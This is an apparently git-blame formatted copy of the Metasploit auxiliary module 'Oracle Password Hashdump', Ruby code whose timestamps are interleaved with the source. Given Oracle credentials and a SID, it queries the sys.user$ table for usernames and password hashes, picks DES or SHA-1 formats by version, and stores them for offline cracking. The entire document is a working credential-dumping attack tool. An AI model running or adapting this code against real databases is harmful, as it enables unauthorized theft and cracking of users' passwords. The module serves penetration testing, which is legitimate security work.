2011-10-10 17:05:01 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-10-10 17:05:01 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2011-10-10 17:05:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::ORACLE
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Oracle Password Hashdump',
|
|
|
|
'Description' => %Q{
|
|
|
|
This module dumps the usernames and password hashes
|
|
|
|
from Oracle given the proper Credentials and SID.
|
2014-07-01 16:46:21 +00:00
|
|
|
These are then stored as creds for later cracking.
|
2013-08-30 21:28:54 +00:00
|
|
|
},
|
|
|
|
'Author' => ['theLightCosine'],
|
|
|
|
'License' => MSF_LICENSE
|
|
|
|
)
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
return if not check_dependencies
|
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# Checks for Version of Oracle, 8g-10g all behave one way, while 11g behaves differently
|
|
|
|
# Also, 11g uses SHA-1 while 8g-10g use DES
|
2013-08-30 21:28:54 +00:00
|
|
|
is_11g=false
|
|
|
|
query = 'select * from v$version'
|
|
|
|
ver = prepare_exec(query)
|
|
|
|
|
|
|
|
if ver.nil?
|
|
|
|
print_error("An Error has occured, check your OPTIONS")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
unless ver.empty?
|
|
|
|
if ver[0].include?('11g')
|
|
|
|
is_11g=true
|
|
|
|
print_status("Server is running 11g, using newer methods...")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
this_service = report_service(
|
|
|
|
:host => datastore['RHOST'],
|
|
|
|
:port => datastore['RPORT'],
|
|
|
|
:name => 'oracle',
|
|
|
|
:proto => 'tcp'
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
|
2016-08-10 18:30:09 +00:00
|
|
|
tbl = Rex::Text::Table.new(
|
2013-08-30 21:28:54 +00:00
|
|
|
'Header' => 'Oracle Server Hashes',
|
|
|
|
'Indent' => 1,
|
|
|
|
'Columns' => ['Username', 'Hash']
|
|
|
|
)
|
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# Get the usernames and hashes for 8g-10g
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
if is_11g==false
|
|
|
|
query='SELECT name, password FROM sys.user$ where password is not null and name<> \'ANONYMOUS\''
|
|
|
|
results= prepare_exec(query)
|
|
|
|
unless results.empty?
|
|
|
|
results.each do |result|
|
|
|
|
row= result.split(/,/)
|
|
|
|
tbl << row
|
|
|
|
end
|
|
|
|
end
|
2015-04-03 11:12:23 +00:00
|
|
|
# Get the usernames and hashes for 11g
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
|
|
|
query='SELECT name, spare4 FROM sys.user$ where password is not null and name<> \'ANONYMOUS\''
|
|
|
|
results= prepare_exec(query)
|
|
|
|
#print_status("Results: #{results.inspect}")
|
|
|
|
unless results.empty?
|
|
|
|
results.each do |result|
|
|
|
|
row= result.split(/,/)
|
|
|
|
row[2] = 'No'
|
|
|
|
tbl << row
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
rescue => e
|
|
|
|
print_error("An error occured. The supplied credentials may not have proper privs")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
print_status("Hash table :\n #{tbl}")
|
2014-07-01 05:27:30 +00:00
|
|
|
report_hashes(tbl, is_11g, ip, this_service)
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
|
2014-07-01 05:27:30 +00:00
|
|
|
def report_hashes(table, is_11g, ip, service)
|
2015-04-03 11:12:23 +00:00
|
|
|
# Reports the hashes slightly differently depending on the version
|
|
|
|
# This is so that we know which are which when we go to crack them
|
2013-08-30 21:28:54 +00:00
|
|
|
if is_11g==false
|
2014-07-01 05:27:30 +00:00
|
|
|
jtr_format = "des"
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2014-07-01 05:27:30 +00:00
|
|
|
jtr_format = "raw-sha1"
|
|
|
|
end
|
|
|
|
service_data = {
|
|
|
|
address: Rex::Socket.getaddress(ip),
|
|
|
|
port: service[:port],
|
|
|
|
protocol: service[:proto],
|
|
|
|
service_name: service[:name],
|
|
|
|
workspace_id: myworkspace_id
|
|
|
|
}
|
|
|
|
|
|
|
|
table.rows.each do |row|
|
|
|
|
credential_data = {
|
|
|
|
origin_type: :service,
|
|
|
|
module_fullname: self.fullname,
|
|
|
|
username: row[0],
|
|
|
|
private_data: row[1],
|
|
|
|
private_type: :nonreplayable_hash,
|
|
|
|
jtr_format: jtr_format
|
|
|
|
}
|
|
|
|
|
2014-07-01 22:48:42 +00:00
|
|
|
credential_core = create_credential(credential_data.merge(service_data))
|
|
|
|
|
|
|
|
login_data = {
|
|
|
|
core: credential_core,
|
2014-07-17 02:52:08 +00:00
|
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
2014-07-01 22:48:42 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
create_credential_login(login_data.merge(service_data))
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2014-07-01 22:48:42 +00:00
|
|
|
print_status("Hash Table has been saved")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2011-10-10 17:05:01 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
end
|